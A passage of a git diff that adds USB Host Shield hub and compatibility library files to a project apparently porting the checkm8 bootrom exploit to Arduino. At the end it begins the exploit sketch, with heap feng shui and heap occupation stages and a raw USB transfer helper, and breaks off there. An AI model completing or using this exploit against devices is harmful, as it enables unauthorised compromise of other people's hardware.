p->epinfo + p->epinfo = oldep_ptr; + + if(len) + rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf); + + if(rcode) + goto FailGetDevDescr; + + // Assign epInfo to epinfo pointer + rcode = pUsb->setEpInfoEntry(bAddress, 2, epInfo); + + if(rcode) + goto FailSetDevTblEntry; + + // bInitState = 1; + + // case 1: + // Get hub descriptor + rcode = GetHubDescriptor(0, 8, buf); + + if(rcode) + goto FailGetHubDescr; + + // Save number of ports for future use + bNbrPorts = hd->bNbrPorts; + + // bInitState = 2; + + // case 2: + // Read configuration Descriptor in Order To Obtain Proper Configuration Value + rcode = pUsb->getConfDescr(bAddress, 0, 8, 0, buf); + + if(!rcode) { + cd_len = ucd->wTotalLength; + rcode = pUsb->getConfDescr(bAddress, 0, cd_len, 0, buf); + } + if(rcode) + goto FailGetConfDescr; + + // The following code is of no practical use in real life applications. + // It only intended for the usb protocol sniffer to properly parse hub-class requests. + { + uint8_t buf2[24]; + + rcode = pUsb->getConfDescr(bAddress, 0, buf[0], 0, buf2); + + if(rcode) + goto FailGetConfDescr; + } + + // Set Configuration Value + rcode = pUsb->setConf(bAddress, 0, buf[5]); + + if(rcode) + goto FailSetConfDescr; + + // bInitState = 3; + + // case 3: + // Power on all ports + for(uint8_t j = 1; j <= bNbrPorts; j++) + SetPortFeature(HUB_FEATURE_PORT_POWER, j, 0); //HubPortPowerOn(j); + + pUsb->SetHubPreMask(); + bPollEnable = true; + // bInitState = 0; + //} + //bInitState = 0; + //USBTRACE("...OK\r\n"); + return 0; + + // Oleg, No debugging?? -- xxxajk +FailGetDevDescr: + goto Fail; + +FailSetDevTblEntry: + goto Fail; + +FailGetHubDescr: + goto Fail; + +FailGetConfDescr: + goto Fail; + +FailSetConfDescr: + goto Fail; + +Fail: + USBTRACE("...FAIL\r\n"); + return rcode; +} + +uint8_t USBHub::Release() { + pUsb->GetAddressPool().FreeAddress(bAddress); + + if(bAddress == 0x41) + pUsb->SetHubPreMask(); + + bAddress = 0; + bNbrPorts = 0; + qNextPollTime = 0; + bPollEnable = false; + return 0; +} + +uint8_t USBHub::Poll() { + uint8_t rcode = 0; + + if(!bPollEnable) + return 0; + + if(((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L)) { + rcode = CheckHubStatus(); + qNextPollTime = (uint32_t)millis() + 100; + } + return rcode; +} + +uint8_t USBHub::CheckHubStatus() { + uint8_t rcode; + uint8_t buf[8]; + uint16_t read = 1; + + rcode = pUsb->inTransfer(bAddress, 1, &read, buf); + + if(rcode) + return rcode; + + //if (buf[0] & 0x01) // Hub Status Change + //{ + // pUsb->PrintHubStatus(addr); + // rcode = GetHubStatus(1, 0, 1, 4, buf); + // if (rcode) + // { + // USB_HOST_SERIAL.print("GetHubStatus Error"); + // USB_HOST_SERIAL.println(rcode, HEX); + // return rcode; + // } + //} + for(uint8_t port = 1, mask = 0x02; port < 8; mask <<= 1, port++) { + if(buf[0] & mask) { + HubEvent evt; + evt.bmEvent = 0; + + rcode = GetPortStatus(port, 4, evt.evtBuff); + + if(rcode) + continue; + + rcode = PortStatusChange(port, evt); + + if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET) + return 0; + + if(rcode) + return rcode; + } + } // for + + for(uint8_t port = 1; port <= bNbrPorts; port++) { + HubEvent evt; + evt.bmEvent = 0; + + rcode = GetPortStatus(port, 4, evt.evtBuff); + + if(rcode) + continue; + + if((evt.bmStatus & bmHUB_PORT_STATE_CHECK_DISABLED) != bmHUB_PORT_STATE_DISABLED) + continue; + + // Emulate connection event for the port + evt.bmChange |= bmHUB_PORT_STATUS_C_PORT_CONNECTION; + + rcode = PortStatusChange(port, evt); + + if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET) + return 0; + + if(rcode) + return rcode; + } // for + return 0; +} + +void USBHub::ResetHubPort(uint8_t port) { + HubEvent evt; + evt.bmEvent = 0; + uint8_t rcode; + + ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); + ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); + SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0); + + + for(int i = 0; i < 3; i++) { + rcode = GetPortStatus(port, 4, evt.evtBuff); + if(rcode) break; // Some kind of error, bail. + if(evt.bmEvent == bmHUB_PORT_EVENT_RESET_COMPLETE || evt.bmEvent == bmHUB_PORT_EVENT_LS_RESET_COMPLETE) { + break; + } + delay(100); // simulate polling. + } + ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0); + ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); + delay(20); +} + +uint8_t USBHub::PortStatusChange(uint8_t port, HubEvent &evt) { + switch(evt.bmEvent) { + // Device connected event + case bmHUB_PORT_EVENT_CONNECT: + case bmHUB_PORT_EVENT_LS_CONNECT: + if(bResetInitiated) + return 0; + + ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); + ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); + SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0); + bResetInitiated = true; + return HUB_ERROR_PORT_HAS_BEEN_RESET; + + // Device disconnected event + case bmHUB_PORT_EVENT_DISCONNECT: + ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); + ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); + bResetInitiated = false; + + UsbDeviceAddress a; + a.devAddress = 0; + a.bmHub = 0; + a.bmParent = bAddress; + a.bmAddress = port; + pUsb->ReleaseDevice(a.devAddress); + return 0; + + // Reset complete event + case bmHUB_PORT_EVENT_RESET_COMPLETE: + case bmHUB_PORT_EVENT_LS_RESET_COMPLETE: + ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0); + ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); + + delay(20); + + a.devAddress = bAddress; + + pUsb->Configuring(a.bmAddress, port, (evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED)); + bResetInitiated = false; + break; + + } // switch (evt.bmEvent) + return 0; +} + +void PrintHubPortStatus(USBHub *hubptr, uint8_t addr __attribute__((unused)), uint8_t port, bool print_changes) { + uint8_t rcode = 0; + HubEvent evt; + + rcode = hubptr->GetPortStatus(port, 4, evt.evtBuff); + + if(rcode) { + USB_HOST_SERIAL.println("ERROR!"); + return; + } + USB_HOST_SERIAL.print("\r\nPort "); + USB_HOST_SERIAL.println(port, DEC); + + USB_HOST_SERIAL.println("Status"); + USB_HOST_SERIAL.print("CONNECTION:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_CONNECTION) > 0, DEC); + USB_HOST_SERIAL.print("ENABLE:\t\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_ENABLE) > 0, DEC); + USB_HOST_SERIAL.print("SUSPEND:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_SUSPEND) > 0, DEC); + USB_HOST_SERIAL.print("OVER_CURRENT:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_OVER_CURRENT) > 0, DEC); + USB_HOST_SERIAL.print("RESET:\t\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_RESET) > 0, DEC); + USB_HOST_SERIAL.print("POWER:\t\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_POWER) > 0, DEC); + USB_HOST_SERIAL.print("LOW_SPEED:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED) > 0, DEC); + USB_HOST_SERIAL.print("HIGH_SPEED:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_HIGH_SPEED) > 0, DEC); + USB_HOST_SERIAL.print("TEST:\t\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_TEST) > 0, DEC); + USB_HOST_SERIAL.print("INDICATOR:\t"); + USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_INDICATOR) > 0, DEC); + + if(!print_changes) + return; + + USB_HOST_SERIAL.println("\r\nChange"); + USB_HOST_SERIAL.print("CONNECTION:\t"); + USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_CONNECTION) > 0, DEC); + USB_HOST_SERIAL.print("ENABLE:\t\t"); + USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_ENABLE) > 0, DEC); + USB_HOST_SERIAL.print("SUSPEND:\t"); + USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_SUSPEND) > 0, DEC); + USB_HOST_SERIAL.print("OVER_CURRENT:\t"); + USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT) > 0, DEC); + USB_HOST_SERIAL.print("RESET:\t\t"); + USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_RESET) > 0, DEC); +} diff --git a/checkm8_arduino/lib/hostshield/usbhub.h b/checkm8_arduino/lib/hostshield/usbhub.h new file mode 100644 index 0000000..e8257de --- /dev/null +++ b/checkm8_arduino/lib/hostshield/usbhub.h @@ -0,0 +1,252 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This software may be distributed and modified under the terms of the GNU +General Public License version 2 (GPL2) as published by the Free Software +Foundation and appearing in the file GPL2.TXT included in the packaging of +this file. Please note that GPL2 Section 2[b] requires that all works based +on this software must also be made publicly available under the terms of +the GPL2 ("Copyleft"). + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#if !defined(__USBHUB_H__) +#define __USBHUB_H__ + +#include "../../include/Usb.h" + +#define USB_DESCRIPTOR_HUB 0x09 // Hub descriptor type + +// Hub Requests +#define bmREQ_CLEAR_HUB_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE +#define bmREQ_CLEAR_PORT_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_CLEAR_TT_BUFFER USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_GET_HUB_DESCRIPTOR USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE +#define bmREQ_GET_HUB_STATUS USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE +#define bmREQ_GET_PORT_STATUS USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_RESET_TT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_SET_HUB_DESCRIPTOR USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE +#define bmREQ_SET_HUB_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE +#define bmREQ_SET_PORT_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_GET_TT_STATE USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER +#define bmREQ_STOP_TT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER + +// Hub Class Requests +#define HUB_REQUEST_CLEAR_TT_BUFFER 8 +#define HUB_REQUEST_RESET_TT 9 +#define HUB_REQUEST_GET_TT_STATE 10 +#define HUB_REQUEST_STOP_TT 11 + +// Hub Features +#define HUB_FEATURE_C_HUB_LOCAL_POWER 0 +#define HUB_FEATURE_C_HUB_OVER_CURRENT 1 +#define HUB_FEATURE_PORT_CONNECTION 0 +#define HUB_FEATURE_PORT_ENABLE 1 +#define HUB_FEATURE_PORT_SUSPEND 2 +#define HUB_FEATURE_PORT_OVER_CURRENT 3 +#define HUB_FEATURE_PORT_RESET 4 +#define HUB_FEATURE_PORT_POWER 8 +#define HUB_FEATURE_PORT_LOW_SPEED 9 +#define HUB_FEATURE_C_PORT_CONNECTION 16 +#define HUB_FEATURE_C_PORT_ENABLE 17 +#define HUB_FEATURE_C_PORT_SUSPEND 18 +#define HUB_FEATURE_C_PORT_OVER_CURRENT 19 +#define HUB_FEATURE_C_PORT_RESET 20 +#define HUB_FEATURE_PORT_TEST 21 +#define HUB_FEATURE_PORT_INDICATOR 22 + +// Hub Port Test Modes +#define HUB_PORT_TEST_MODE_J 1 +#define HUB_PORT_TEST_MODE_K 2 +#define HUB_PORT_TEST_MODE_SE0_NAK 3 +#define HUB_PORT_TEST_MODE_PACKET 4 +#define HUB_PORT_TEST_MODE_FORCE_ENABLE 5 + +// Hub Port Indicator Color +#define HUB_PORT_INDICATOR_AUTO 0 +#define HUB_PORT_INDICATOR_AMBER 1 +#define HUB_PORT_INDICATOR_GREEN 2 +#define HUB_PORT_INDICATOR_OFF 3 + +// Hub Port Status Bitmasks +#define bmHUB_PORT_STATUS_PORT_CONNECTION 0x0001 +#define bmHUB_PORT_STATUS_PORT_ENABLE 0x0002 +#define bmHUB_PORT_STATUS_PORT_SUSPEND 0x0004 +#define bmHUB_PORT_STATUS_PORT_OVER_CURRENT 0x0008 +#define bmHUB_PORT_STATUS_PORT_RESET 0x0010 +#define bmHUB_PORT_STATUS_PORT_POWER 0x0100 +#define bmHUB_PORT_STATUS_PORT_LOW_SPEED 0x0200 +#define bmHUB_PORT_STATUS_PORT_HIGH_SPEED 0x0400 +#define bmHUB_PORT_STATUS_PORT_TEST 0x0800 +#define bmHUB_PORT_STATUS_PORT_INDICATOR 0x1000 + +// Hub Port Status Change Bitmasks (used one byte instead of two) +#define bmHUB_PORT_STATUS_C_PORT_CONNECTION 0x0001 +#define bmHUB_PORT_STATUS_C_PORT_ENABLE 0x0002 +#define bmHUB_PORT_STATUS_C_PORT_SUSPEND 0x0004 +#define bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT 0x0008 +#define bmHUB_PORT_STATUS_C_PORT_RESET 0x0010 + +// Hub Status Bitmasks (used one byte instead of two) +#define bmHUB_STATUS_LOCAL_POWER_SOURCE 0x01 +#define bmHUB_STATUS_OVER_CURRENT 0x12 + +// Hub Status Change Bitmasks (used one byte instead of two) +#define bmHUB_STATUS_C_LOCAL_POWER_SOURCE 0x01 +#define bmHUB_STATUS_C_OVER_CURRENT 0x12 + + +// Hub Port Configuring Substates +#define USB_STATE_HUB_PORT_CONFIGURING 0xb0 +#define USB_STATE_HUB_PORT_POWERED_OFF 0xb1 +#define USB_STATE_HUB_PORT_WAIT_FOR_POWER_GOOD 0xb2 +#define USB_STATE_HUB_PORT_DISCONNECTED 0xb3 +#define USB_STATE_HUB_PORT_DISABLED 0xb4 +#define USB_STATE_HUB_PORT_RESETTING 0xb5 +#define USB_STATE_HUB_PORT_ENABLED 0xb6 + +// Additional Error Codes +#define HUB_ERROR_PORT_HAS_BEEN_RESET 0xb1 + +// The bit mask to check for all necessary state bits +#define bmHUB_PORT_STATUS_ALL_MAIN ((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE | bmHUB_PORT_STATUS_C_PORT_SUSPEND | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND) + +// Bit mask to check for DISABLED state in HubEvent::bmStatus field +#define bmHUB_PORT_STATE_CHECK_DISABLED (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND) + +// Hub Port States +#define bmHUB_PORT_STATE_DISABLED (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION) + +// Hub Port Events +#define bmHUB_PORT_EVENT_CONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION) +#define bmHUB_PORT_EVENT_DISCONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER) +#define bmHUB_PORT_EVENT_RESET_COMPLETE (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION) + +#define bmHUB_PORT_EVENT_LS_CONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) +#define bmHUB_PORT_EVENT_LS_RESET_COMPLETE (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) +#define bmHUB_PORT_EVENT_LS_PORT_ENABLED (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) + +struct HubDescriptor { + uint8_t bDescLength; // descriptor length + uint8_t bDescriptorType; // descriptor type + uint8_t bNbrPorts; // number of ports a hub equiped with + + struct { + uint16_t LogPwrSwitchMode : 2; + uint16_t CompoundDevice : 1; + uint16_t OverCurrentProtectMode : 2; + uint16_t TTThinkTime : 2; + uint16_t PortIndicatorsSupported : 1; + uint16_t Reserved : 8; + } __attribute__((packed)); + + uint8_t bPwrOn2PwrGood; + uint8_t bHubContrCurrent; +} __attribute__((packed)); + +struct HubEvent { + + union { + + struct { + uint16_t bmStatus; // port status bits + uint16_t bmChange; // port status change bits + } __attribute__((packed)); + uint32_t bmEvent; + uint8_t evtBuff[4]; + }; +} __attribute__((packed)); + +class USBHub : USBDeviceConfig { + static bool bResetInitiated; // True when reset is triggered + + USB *pUsb; // USB class instance pointer + + EpInfo epInfo[2]; // interrupt endpoint info structure + + uint8_t bAddress; // address + uint8_t bNbrPorts; // number of ports + // uint8_t bInitState; // initialization state variable + uint32_t qNextPollTime; // next poll time + bool bPollEnable; // poll enable flag + + uint8_t CheckHubStatus(); + uint8_t PortStatusChange(uint8_t port, HubEvent &evt); + +public: + USBHub(USB *p); + + uint8_t ClearHubFeature(uint8_t fid); + uint8_t ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0); + uint8_t GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr); + uint8_t GetHubStatus(uint16_t nbytes, uint8_t* dataptr); + uint8_t GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr); + uint8_t SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr); + uint8_t SetHubFeature(uint8_t fid); + uint8_t SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0); + + void PrintHubStatus(); + + uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); + uint8_t Release(); + uint8_t Poll(); + void ResetHubPort(uint8_t port); + + virtual uint8_t GetAddress() { + return bAddress; + }; + + virtual bool DEVCLASSOK(uint8_t klass) { + return (klass == 0x09); + } + +}; + +// Clear Hub Feature + +inline uint8_t USBHub::ClearHubFeature(uint8_t fid) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_HUB_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, 0, 0, 0, NULL, NULL)); +} +// Clear Port Feature + +inline uint8_t USBHub::ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_PORT_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, ((0x0000 | port) | (sel << 8)), 0, 0, NULL, NULL)); +} +// Get Hub Descriptor + +inline uint8_t USBHub::GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_DESCRIPTOR, USB_REQUEST_GET_DESCRIPTOR, index, 0x29, 0, nbytes, nbytes, dataptr, NULL)); +} +// Get Hub Status + +inline uint8_t USBHub::GetHubStatus(uint16_t nbytes, uint8_t* dataptr) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_STATUS, USB_REQUEST_GET_STATUS, 0, 0, 0x0000, nbytes, nbytes, dataptr, NULL)); +} +// Get Port Status + +inline uint8_t USBHub::GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_PORT_STATUS, USB_REQUEST_GET_STATUS, 0, 0, port, nbytes, nbytes, dataptr, NULL)); +} +// Set Hub Descriptor + +inline uint8_t USBHub::SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_DESCRIPTOR, USB_REQUEST_SET_DESCRIPTOR, 0, 0, port, nbytes, nbytes, dataptr, NULL)); +} +// Set Hub Feature + +inline uint8_t USBHub::SetHubFeature(uint8_t fid) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, 0, 0, 0, NULL, NULL)); +} +// Set Port Feature + +inline uint8_t USBHub::SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel) { + return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_PORT_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, (((0x0000 | sel) << 8) | port), 0, 0, NULL, NULL)); +} + +void PrintHubPortStatus(USB *usbptr, uint8_t addr, uint8_t port, bool print_changes = false); + +#endif // __USBHUB_H__ diff --git a/checkm8_arduino/lib/hostshield/version_helper.h b/checkm8_arduino/lib/hostshield/version_helper.h new file mode 100644 index 0000000..ab7bb0c --- /dev/null +++ b/checkm8_arduino/lib/hostshield/version_helper.h @@ -0,0 +1,201 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +/* + * Universal Arduino(tm) "IDE" fixups. + * Includes fixes for versions as low as 0023, used by Digilent. + */ + +#if defined(ARDUINO) && ARDUINO >=100 +#include +#else +#include +#include +#ifdef __AVR__ +#include +#include +#else +#endif +#endif + +#ifndef __PGMSPACE_H_ +#define __PGMSPACE_H_ 1 + +#include + +#ifndef PROGMEM +#define PROGMEM +#endif +#ifndef PGM_P +#define PGM_P const char * +#endif +#ifndef PSTR +#define PSTR(str) (str) +#endif +#ifndef F +#define F(str) (str) +#endif +#ifndef _SFR_BYTE +#define _SFR_BYTE(n) (n) +#endif + +#ifndef memchr_P +#define memchr_P(str, c, len) memchr((str), (c), (len)) +#endif +#ifndef memcmp_P +#define memcmp_P(a, b, n) memcmp((a), (b), (n)) +#endif +#ifndef memcpy_P +#define memcpy_P(dest, src, num) memcpy((dest), (src), (num)) +#endif +#ifndef memmem_P +#define memmem_P(a, alen, b, blen) memmem((a), (alen), (b), (blen)) +#endif +#ifndef memrchr_P +#define memrchr_P(str, val, len) memrchr((str), (val), (len)) +#endif +#ifndef strcat_P +#define strcat_P(dest, src) strcat((dest), (src)) +#endif +#ifndef strchr_P +#define strchr_P(str, c) strchr((str), (c)) +#endif +#ifndef strchrnul_P +#define strchrnul_P(str, c) strchrnul((str), (c)) +#endif +#ifndef strcmp_P +#define strcmp_P(a, b) strcmp((a), (b)) +#endif +#ifndef strcpy_P +#define strcpy_P(dest, src) strcpy((dest), (src)) +#endif +#ifndef strcasecmp_P +#define strcasecmp_P(a, b) strcasecmp((a), (b)) +#endif +#ifndef strcasestr_P +#define strcasestr_P(a, b) strcasestr((a), (b)) +#endif +#ifndef strlcat_P +#define strlcat_P(dest, src, len) strlcat((dest), (src), (len)) +#endif +#ifndef strlcpy_P +#define strlcpy_P(dest, src, len) strlcpy((dest), (src), (len)) +#endif +#ifndef strlen_P +#define strlen_P(s) strlen((const char *)(s)) +#endif +#ifndef strnlen_P +#define strnlen_P(str, len) strnlen((str), (len)) +#endif +#ifndef strncmp_P +#define strncmp_P(a, b, n) strncmp((a), (b), (n)) +#endif +#ifndef strncasecmp_P +#define strncasecmp_P(a, b, n) strncasecmp((a), (b), (n)) +#endif +#ifndef strncat_P +#define strncat_P(a, b, n) strncat((a), (b), (n)) +#endif +#ifndef strncpy_P +#define strncpy_P(a, b, n) strncpy((a), (b), (n)) +#endif +#ifndef strpbrk_P +#define strpbrk_P(str, chrs) strpbrk((str), (chrs)) +#endif +#ifndef strrchr_P +#define strrchr_P(str, c) strrchr((str), (c)) +#endif +#ifndef strsep_P +#define strsep_P(strp, delim) strsep((strp), (delim)) +#endif +#ifndef strspn_P +#define strspn_P(str, chrs) strspn((str), (chrs)) +#endif +#ifndef strstr_P +#define strstr_P(a, b) strstr((a), (b)) +#endif +#ifndef sprintf_P +#define sprintf_P(s, ...) sprintf((s), __VA_ARGS__) +#endif +#ifndef vfprintf_P +#define vfprintf_P(s, ...) vfprintf((s), __VA_ARGS__) +#endif +#ifndef printf_P +#define printf_P(...) printf(__VA_ARGS__) +#endif +#ifndef snprintf_P +#define snprintf_P(s, n, ...) ((s), (n), __VA_ARGS__) +#endif +#ifndef vsprintf_P +#define vsprintf_P(s, ...) ((s),__VA_ARGS__) +#endif +#ifndef vsnprintf_P +#define vsnprintf_P(s, n, ...) ((s), (n),__VA_ARGS__) +#endif +#ifndef fprintf_P +#define fprintf_P(s, ...) ((s), __VA_ARGS__) +#endif + +#ifndef pgm_read_byte +#define pgm_read_byte(addr) (*(const unsigned char *)(addr)) +#endif +#ifndef pgm_read_word +#define pgm_read_word(addr) (*(const unsigned short *)(addr)) +#endif +#ifndef pgm_read_dword +#define pgm_read_dword(addr) (*(const unsigned long *)(addr)) +#endif +#ifndef pgm_read_float +#define pgm_read_float(addr) (*(const float *)(addr)) +#endif + +#ifndef pgm_read_byte_near +#define pgm_read_byte_near(addr) pgm_read_byte(addr) +#endif +#ifndef pgm_read_word_near +#define pgm_read_word_near(addr) pgm_read_word(addr) +#endif +#ifndef pgm_read_dword_near +#define pgm_read_dword_near(addr) pgm_read_dword(addr) +#endif +#ifndef pgm_read_float_near +#define pgm_read_float_near(addr) pgm_read_float(addr) +#endif +#ifndef pgm_read_byte_far +#define pgm_read_byte_far(addr) pgm_read_byte(addr) +#endif +#ifndef pgm_read_word_far +#define pgm_read_word_far(addr) pgm_read_word(addr) +#endif +#ifndef pgm_read_dword_far +#define pgm_read_dword_far(addr) pgm_read_dword(addr) +#endif +#ifndef pgm_read_float_far +#define pgm_read_float_far(addr) pgm_read_float(addr) +#endif + +#ifndef pgm_read_pointer +#define pgm_read_pointer +#endif +#endif diff --git a/checkm8_arduino/src/checkm8_arduino.ino b/checkm8_arduino/src/checkm8_arduino.ino index afe25b0..8bcd30f 100644 --- a/checkm8_arduino/src/checkm8_arduino.ino +++ b/checkm8_arduino/src/checkm8_arduino.ino @@ -1,11 +1,183 @@ +#include +#include "constants.h" +USB Usb; +uint8_t addr = 1; +USB_DEVICE_DESCRIPTOR desc_buf; +uint8_t io_buf[0x100]; +EpInfo *pep = NULL; +uint16_t nak_limit = 0; +uint8_t rcode; +uint8_t last_state, state; +uint8_t pktsize; +uint16_t sz; +const uint8_t * p; +uint16_t part_sz; +enum { + CHECKM8_INIT_RESET, + CHECKM8_HEAP_FENG_SHUI, + CHECKM8_SET_GLOBAL_STATE, + CHECKM8_HEAP_OCCUPATION, + CHECKM8_END +}; +uint8_t checkm8_state = CHECKM8_INIT_RESET; -void setup() +uint8_t send_out(uint8_t * io_buf, uint8_t pktsize) { - + Usb.bytesWr(rSNDFIFO, pktsize, io_buf); + Usb.regWr(rSNDBC, pktsize); + Usb.regWr(rHXFR, tokOUT); + while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ)); + Usb.regWr(rHIRQ, bmHXFRDNIRQ); + return (Usb.regRd(rHRSL) & 0x0f); } -void loop() -{ +void setup() { + Serial.begin(115200); + Serial.println("checkm8 